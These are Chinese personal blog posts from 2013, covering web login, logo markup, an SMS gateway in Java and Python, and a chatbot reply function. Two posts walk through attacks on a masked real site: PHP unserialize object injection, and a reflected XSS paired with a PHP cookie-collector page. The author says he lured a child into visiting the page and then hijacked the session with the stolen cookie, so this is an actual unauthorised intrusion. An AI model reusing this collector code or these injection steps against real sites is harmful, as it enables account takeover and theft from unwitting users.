好久没有充电了,看看一些现下少接触的东西,昨晚看了一下关于html5离线app的问题,主要是说离线程序的更新问题,待实践后再做记录。
      前两天才试用微信的网页端,使用手机扫描页面二维码来登陆,抓包了一下,使用长连接来轮询login.weixin.qq.com接口,实现起来其实应该不难,用户打开页面后生成一个唯一id的二维码链接,手机端扫描后验证成功,向服务器发送认证通过请求,网页端请求到服务端认证通过予以登陆。盛大也提供了类似这样的快速登陆方式。就是对小网站的开发有点麻烦,还需要发布扫描认证工具。
      逛博客园的看见网易财经的一哥写的一篇文章中关于h1标签的处理方法,对于现在大部分网站都使用了图片作为网站的logo,这样就直接把图片给了h1标签,给图片加alt属性。这里有一篇文章:http://stackoverflow.com/questions/665037/replacing-h1-text-with-a-logo-image-best-method-for-seo-and-accessibility,下面给三个例子

      我们再来看看,我们网站和sina的截图对比一下,基本是一个妈生的
sina and 500.com
      大概了解了一下原因,是因为更改logo图片方便些,对于这个问题,我们看看搜狐、腾讯、网易财经是怎么解决的

1、搜狐:logo的css代码写在css文件,css文件有版本号,使用text-indent隐藏文字
2、腾讯:logo的css代码写在页面中,css文件有版本号,使用display隐藏文字
3、网易财经:logo的css代码写在css文件,css文件有版本号,使用display隐藏文字

      不过个人比较倾向腾讯的做法,更改logo不用为css单独发布版本号,减少维护。

22 / 02 / 2013 buling

unserialize?用了这么多年,怎么会有漏洞可以利用呢,我们先看一下php对unserialize的解释,注意下面这句话

//若被解序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()成员函数(如果存在的话)。
//其实__destruct方法也会被执行

下面我们先来做个下测验

class a{
    public $p = 3;
    public function __wakeup(){
        var_dump(123);
    }
}
$a = new a();
$str = serialize($a);
//$str='O:1:"a":1:{s:1:"p";i:3;}';
unserialize($str); // int(123)

知道了这样,那我们怎么利用这个漏洞呢,先grep一下xx.com站点的 unserialize,发现一页面:http://zc.xx.com/xxx/xxxx.php,代码如下

$str_ggname = getRequest('ggname', '','post');
$str_ggname = iconv('utf-8', 'gbk', $str_ggname);
// ...省略代码
if($str_ggname != ''){
   $arr_ggname = unserialize($str_ggname);
   if(count($arr_ggname) != count(array_unique($arr_ggname))){
        json_return('设置拆分字符串重复!
编号:-131'); } }

ggname完全是外部传入的变量做unserialize操作,虽然做了过滤,但一点都不损伤。
其实serialize本身是不会有function信息,但如果在trade站点有一个日志类,像这样(或者后来有个居心叵测的,直接写.php文件)

class Others_Log{
    public $log_str = '';
    public function __destruct(){ //理论上很多人会这样写,很高效
        $log_file = '../log/xx.log';
        $fp = @fopen($log_file, 'a');
        fwrite($fp, $log_str);
        fclose($fp);
    }
}

这个文件没有漏洞可以利用吧,虽然看起来两个风马牛不相及的东东,但如果我们用上面这个接口加起来就是一个漏洞

    class Others_Log{
        public $log_str = '';
    }
    $log = new Others_Log();
    $log->$log_str = '我的日志';
    $str = serialize($log);
    //请求 http://xx.com/xxx/xxxx.php?ggname=$str

只是做了个测试,说明的是一个问题,对于这样的传参,我们需要做校验或者尽量不用

22 / 02 / 2013 buling

      以往看别人讲漏洞,过一段时间就往了,要是身边有个示例就比较好说话了,今天写一下关于xx.com一个页面存在xss漏洞导致的cookie被劫持的漏洞,页面地址是:http://www.xx.com/index.php?act=userdata&uname=xxx ,在xxx用户名后加入一段小代码,如:http://www.xx.com/index.php?act=userdata&uname=xxx<script>alert(1)</script>,执行后alert 1成功
      1、抓包后发现,用户登陆态相关的cookie是uck,构造一个访问用户认证cookie:uck的url代码:

      2、已经看到成功把uck的cookie信息发送到了x.php,那么我们就开始创建x.php页面吧

$a = isset($_GET['ID']) ? $_GET['ID'] : '';
if(!$a){ //如果没有ID就跳转到陷阱页面
    $url = "http://www..com/index.php?act=userdata&uname=xxx";
    header('location:'.$url);
    exit();
}
//否则记录获取到的uck
$t = date('Y-m-d H:i:s');
$fd = fopen('./xxx.data', 'a');
fwrite($fd, $t.' '.$a."\n");
fclose($fd);

      3、坐等上钩,好吧,我诱导了个孩子来访问,看效果

      4、uck都拿到了,登陆那就很容易了,打开firefox,使用firebug的cookie修改工具

      5、刷新一般来说应该是改变了

无标签信息 0 条

      发现好久没有写过日志了,突然懒起来拽都拽不动,看着要过年了,又开售,天天成堆的群发短信弄的我焦头烂额,一晃春节马上就过年了。年前的时候接到一个33e9的短信网关开发需求,这个网关不同是,统一了三个网关上下行短信号码。其实说来也没啥,但他们要求用java开发,只有java提供的jar包是用socket开发,其它语言只能使用webservice,这么大用户量,用webservice不太现实,还好以前也写过java。
      之前有一套python开发的短信网关,主要分这么几块:1、http的api进程接受请求,短信入库,并插入日志库;2、3网关进程接收到来自http进程的信号通知,取数据发送,等待状态报告、上行消息等;3、日志进程,整理数据、发送状态、状态报告、上行消息等;4、上行服务负责把上行消息归类并通知各个上行处理插件进程。
      为了快速开发,把以前的python脚本升级了一下(主要是进程代码处理上),把网关进程换成了33e9的java代码,在python中有个threading.Event的模块非常好用,所以在java中就自造了一个

public class ThreadEvent {
    private boolean isset=false;
    private Thread _thread;
    /**
     * 事件是否被设置
     * @return
     */
    public Boolean isSet(){
        return isset;
    }
    /**
     * 设置事件
     * @return
     */
    public synchronized boolean set(){
        isset = true;
        notify();
        return isset;
    }
    /**
     * 事件等待
     * @param timeout wait in milliseconds
     * @throws Exception
     */
    public synchronized void xwait(int timeout) throws Exception{
        wait(timeout);
    }
    /**
     * 清除事件设置
     * @return
     */
    public synchronized boolean clear(){
        isset = false;
        return !isset;
    }
}

接下来是信号通知的代码,感知到数据更新后快速响应,而非sleep轮询

    @SuppressWarnings("sun.misc.Signal")
    private synchronized void init(){
        dataEvent = new ThreadEvent();
        dataEvent.set();
        SignalHandler dataSig = new SignalHandler() {
            @Override
            public void handle(Signal signal) {
                dataEvent.set();
            }
        };
        //捕捉收到短信信号
        Signal sig = new Signal("USR2");
        Signal.handle(sig, dataSig);
    }
    public void run(){
        smsBean = new SmsBean();
        msgSend = new MsgSend();
        msgSend.start();
        int num = 0;
        while(!Service.END){
            try{
                if(!dataEvent.isSet()){
                    dataEvent.xwait(20000);
                }
                //System.out.println("check test");
                num = sendSms();
                if(num<1){
                    dataEvent.clear();
                }
            }catch (Exception ex){
                dataEvent.clear();
                ex.printStackTrace();
                Logging.error("smsMain while error:%s", ex.getMessage());
            }
        }
    }

      io信号通知事件更新的做法除了实现简单,而且可以减少不必要的轮询,而且快速响应,当然缺点是只能在单机部署代码。(或者能多机,但还不知道实现),其余代码都基本可以忽略不计了。
      开发完成后,写了一个小上行处理app,用户上行短信,下发一条对用户的回答,采用的是时下最火的小黄鸡代码啦,很简单,但很好用,代码上

    def get_content(self, cont):
        url = 'http://api.simsimi.com/request.p'
        cont = cont.decode('gbk').encode('utf8')
        params = 'key=your-key&lc=ch&ft=1.00&text='+cont
        f = urllib.urlopen(url, params)
        ret = f.read()
        f.close()
        if ret:
            xret = JsonUtil.read(ret)
            ret = xret.has_key('response') and xret.get('response').decode('utf8').encode('gbk') or '谢谢你发来短信'
        else:
            ret = '谢谢你发来短信'
        return ret